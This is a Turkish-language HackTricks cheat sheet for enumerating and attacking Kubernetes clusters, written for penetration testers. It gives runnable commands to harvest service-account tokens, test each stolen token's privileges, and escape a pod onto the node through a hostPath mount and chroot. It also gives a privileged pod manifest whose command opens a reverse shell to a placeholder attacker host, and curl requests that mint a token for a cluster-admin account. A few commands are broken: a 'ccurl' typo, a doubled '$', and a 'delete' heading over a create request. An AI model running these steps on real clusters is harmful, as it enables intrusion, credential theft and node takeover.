Kubernetes Enumeration
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Kubernetes Tokens
Eğer bir makineye erişiminiz varsa, kullanıcı bazı Kubernetes platformlarına erişim sağlayabilir. Token genellikle env var KUBECONFIG tarafından işaret edilen bir dosyada veya ~/.kube içinde bulunur.
Bu klasörde API sunucusuna bağlanmak için token ve yapılandırmalar içeren yapılandırma dosyaları bulabilirsiniz. Bu klasörde ayrıca daha önce alınan bilgileri içeren bir önbellek klasörü de bulabilirsiniz.
Eğer bir Kubernetes ortamında bir pod’u ele geçirdiyseniz, token ve mevcut K8 ortamı hakkında bilgi bulabileceğiniz başka yerler de vardır:
Service Account Tokens
Devam etmeden önce, Kubernetes’te bir servisin ne olduğunu bilmiyorsanız, bu bağlantıyı takip etmenizi ve en azından Kubernetes mimarisi hakkında bilgi okumanızı öneririm.
Kubernetes belgelerinden alınmıştır:
“Bir pod oluşturduğunuzda, eğer bir hizmet hesabı belirtmezseniz, otomatik olarak aynı ad alanındaki default hizmet hesabına atanır.”
ServiceAccount, Kubernetes tarafından yönetilen ve bir pod içinde çalışan süreçler için bir kimlik sağlamak amacıyla kullanılan bir nesnedir.
Her hizmet hesabının ona bağlı bir sırrı vardır ve bu sır, bir bearer token içerir. Bu, iki taraf arasında talepleri güvenli bir şekilde temsil etmenin bir yolu olan JSON Web Token (JWT) ’dir.
Genellikle bir dizin:
/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount/secrets/kubernetes.io/serviceaccount
aşağıdaki dosyaları içerir:
- ca.crt: Kubernetes iletişimlerini kontrol etmek için CA sertifikasıdır.
- namespace: Mevcut ad alanını belirtir.
- token: Mevcut pod’un hizmet token’ını içerir.
Artık token’ınız olduğuna göre, API sunucusunu KUBECONFIG ortam değişkeni içinde bulabilirsiniz. Daha fazla bilgi için (env | set) | grep -i "kuber|kube" komutunu çalıştırın.
Hizmet hesabı token’ı, sa.key dosyasında bulunan anahtar ile imzalanır ve sa.pub tarafından doğrulanır.
Kubernetes üzerindeki varsayılan konum:
- /etc/kubernetes/pki
Minikube üzerindeki varsayılan konum:
- /var/lib/localkube/certs
Hot Pods
Hot pods, ayrıcalıklı bir hizmet hesabı token’ı içeren pod’lardır. Ayrıcalıklı bir hizmet hesabı token’ı, gizli bilgileri listeleme, pod oluşturma gibi ayrıcalıklı görevleri yapma iznine sahip bir token’dır.
RBAC
Eğer RBAC’ın ne olduğunu bilmiyorsanız, bu bölümü okuyun.
GUI Applications
- k9s: Terminalden bir Kubernetes kümesini listeleyen bir GUI. Komutları kontrol etmek için https://k9scli.io/topics/commands/ adresine bakın.
:namespaceyazın ve ardından tüm ad alanlarındaki kaynakları aramak için hepsini seçin. - k8slens: Birkaç gün ücretsiz deneme sunar: https://k8slens.dev/
Enumeration CheatSheet
Bir K8s ortamını listelemek için şunlara ihtiyacınız var:
- geçerli bir kimlik doğrulama token’ı. Önceki bölümde bir kullanıcı token’ı ve bir hizmet hesabı token’ı için nerede arama yapacağımızı gördük.
- Kubernetes API’sinin adresi (https://host:port). Bu genellikle ortam değişkenlerinde ve/veya kube yapılandırma dosyasında bulunabilir.
- Opsiyonel: API sunucusunu doğrulamak için ca.crt. Bu, token’ın bulunabileceği aynı yerlerde bulunabilir. API sunucusu sertifikasını doğrulamak için yararlıdır, ancak
kubectlile--insecure-skip-tls-verifyveyacurlile-kkullanarak buna ihtiyacınız olmayacaktır.
Bu detaylarla kubernetes’i listeleyebilirsiniz. Eğer API bir nedenle İnternet üzerinden erişilebilir ise, bu bilgiyi indirip platformu kendi makinenizden listeleyebilirsiniz.
Ancak genellikle API sunucusu dahili bir ağdadır, bu nedenle ona erişmek için ele geçirilmiş makine üzerinden bir tünel oluşturmanız gerekecektir veya kubectl binary’sini yükleyebilir veya curl/wget/anything kullanarak API sunucusuna ham HTTP istekleri gönderebilirsiniz.
list ve get fiilleri arasındaki farklar
get izinleri ile belirli varlıkların bilgilerine erişebilirsiniz (kubectl’deki describe seçeneği):
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Eğer list iznine sahipseniz, bir tür varlığı listelemek için API istekleri yapmanıza izin verilir (kubectl’deki get seçeneği):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
Eğer watch iznine sahipseniz, varlıkları izlemek için API istekleri yapmanıza izin verilir:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Bir değişiklik olduğunda (veya yeni bir tane oluşturulduğunda) size bir Deployment’ın tam manifestosunu döndüren bir akış bağlantısı açarlar.
Caution
Aşağıdaki
kubectlkomutları, nesneleri listelemenin sadece nasıl yapılacağını gösterir. Verilere erişmek istiyorsanızgetyerinedescribekullanmalısınız.
curl Kullanarak
Bir podun içinden birkaç ortam değişkeni kullanabilirsiniz:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
Warning
Varsayılan olarak pod, kube-api sunucusuna
kubernetes.default.svcalan adı üzerinden erişebilir ve burada kubernetes DNS sunucusunun adresini bulacağınız/etc/resolv.configdosyasında kube ağını görebilirsiniz (aynı aralıktaki “.1” kube-api uç noktasıdır).
kubectl Kullanımı
Token ve API sunucusunun adresine sahip olduğunuzda, buradaki gibi erişmek için kubectl veya curl kullanabilirsiniz:
Varsayılan olarak, APISERVER https:// şeması ile iletişim kurmaktadır.
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
Eğer URL’de
https://yoksa, Bad Request gibi bir hata alabilirsiniz.
Aşağıda, erişim sağladığınız yeni K8s’i sıralı bir şekilde enumerate etmek ve anlamak için farklı seçenekleri sunmak amacıyla yazılmıştır.
kubectl’nin gönderdiği HTTP isteğini bulmak için -v=8 parametresini kullanabilirsiniz.
MitM kubectl - kubectl’yi Proxy’leme
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
Mevcut Konfigürasyon
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
Eğer bazı kullanıcıların kimlik bilgilerini çalmayı başardıysanız, bunları yerel olarak yapılandırabilirsiniz şöyle bir şey kullanarak:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
Desteklenen Kaynakları Al
Bu bilgilerle listeleyebileceğiniz tüm hizmetleri bileceksiniz
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
Mevcut Yetkileri Al
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
Yetkilerinizi kontrol etmenin bir diğer yolu, aracı kullanmaktır: https://github.com/corneliusweig/rakkess****
Kubernetes RBAC hakkında daha fazla bilgi edinebilirsiniz:
Kubernetes Role-Based Access Control(RBAC)
Hangi yetkilere sahip olduğunuzu öğrendikten sonra, yetkileri yükseltmek için bunları kötüye kullanıp kullanamayacağınızı öğrenmek için aşağıdaki sayfayı kontrol edin:
Abusing Roles/ClusterRoles in Kubernetes
Diğer Rolleri Alın
k get roles
k get clusterroles
Ad alanlarını al
Kubernetes, aynı fiziksel küme tarafından desteklenen birden fazla sanal küme’yi destekler. Bu sanal kümelere ad alanları denir.
k get namespaces
Gizli Anahtarları Al
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
Eğer gizli bilgileri okuyabiliyorsanız, her bir token ile ilgili ayrıcalıkları almak için aşağıdaki satırları kullanabilirsiniz:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Hizmet Hesaplarını Al
Bu sayfanın başında tartışıldığı gibi bir pod çalıştırıldığında genellikle ona bir hizmet hesabı atanır. Bu nedenle, hizmet hesaplarını, izinlerini ve nerede çalıştıklarını listelemek, bir kullanıcının ayrıcalıkları artırmasına olanak tanıyabilir.
k get serviceaccounts
Dağıtımları Al
Dağıtımlar, çalıştırılması gereken bileşenleri belirtir.
k get deployments
k get deployments -n custnamespace
Podları Al
Podlar, çalışacak olan gerçek konteynerlerdir.
k get pods
k get pods -n custnamespace
Servisleri Al
Kubernetes servisleri, belirli bir port ve IP’de bir servisi açmak için kullanılır (bu, aslında servisi sunan pod’lara yük dengeleyici olarak işlev görecektir). Bu, saldırmayı denemek için diğer servisleri nerede bulabileceğinizi bilmek açısından ilginçtir.
k get services
k get services -n custnamespace
Düğümleri Al
Küme içinde yapılandırılmış tüm düğümleri al.
k get nodes
DaemonSet’leri Al
DaemonSet’ler, belirli bir pod’un kümenin tüm düğümlerinde (veya seçilenlerde) çalıştığını sağlamaya olanak tanır. DaemonSet’i silerseniz, onun tarafından yönetilen pod’lar da kaldırılacaktır.
k get daemonsets
Cronjob Al
Cron işleri, belirli bir eylemi gerçekleştirecek bir pod’un başlatılmasını crontab benzeri bir sözdizimi kullanarak planlamaya olanak tanır.
k get cronjobs
configMap Al
configMap her zaman kubernetes’te çalışan uygulamalara sağlanan birçok bilgi ve yapılandırma dosyası içerir. Genellikle, diğer iç/dış hizmetlere bağlanmak ve doğrulamak için kullanılan birçok şifre, gizli anahtar ve token bulabilirsiniz.
k get configmaps # -n namespace
Ağ Politikalarını Al / Cilium Ağ Politikaları
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
Her Şeyi Al / Tüm
k get all
Helm tarafından yönetilen tüm kaynakları al
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
Pod Tüketimlerini Al
k top pod --all-namespaces
Küme ile kubectl kullanmadan etkileşim kurma
Kubernetes kontrol düzleminin bir REST-ful API sunduğunu görebildiğiniz için, HTTP isteklerini el ile oluşturabilir ve bunları curl veya wget gibi diğer araçlarla gönderebilirsiniz.
Pod’dan kaçış
Yeni pod’lar oluşturabiliyorsanız, bunlardan düğüme kaçış yapabilirsiniz. Bunu yapmak için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod’a geçiş yapmanız ve ardından düğümün sistemine chroot yapmanız gerekir. Mevcut görüntüleri ve yolları gösterdikleri için yaml dosyası için referans olarak zaten var olan pod’ları kullanabilirsiniz.
kubectl get pod <name> [-n <namespace>] -o yaml
Eğer belirli bir düğümde pod oluşturmanız gerekiyorsa, düğüm üzerindeki etiketleri almak için aşağıdaki komutu kullanabilirsiniz.
k get nodes --show-labelsGenellikle, kubernetes.io/hostname ve node-role.kubernetes.io/master, seçim için iyi etiketlerdir.
Sonra attack.yaml dosyanızı oluşturursunuz.
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
Bundan sonra pod’u oluşturursunuz.
kubectl apply -f attacker.yaml [-n <namespace>]
Artık oluşturulan pod’a aşağıdaki gibi geçiş yapabilirsiniz
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
Ve sonunda node’un sistemine chroot edersiniz.
chroot /root /bin/bash
Bilgi alındı: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
Ayrıcalıklı bir pod oluşturma
İlgili yaml dosyası aşağıdaki gibidir:
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
Pod’u curl ile oluşturun:
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Bir pod’u sil
curl ile bir pod’u sil:
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
Bir Hizmet Hesabı Oluşturun
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Bir Hizmet Hesabını Silme
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
Bir Rol Oluşturun
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Bir Rolü Sil
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
Bir Rol Bağlantısı Oluşturun
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Bir Rol Bağlantısını Silme
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
Bir Sırrı Sil
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Bir Sırrı Sil
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
Referanslar
Kubernetes Pentest Methodology Part 3
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

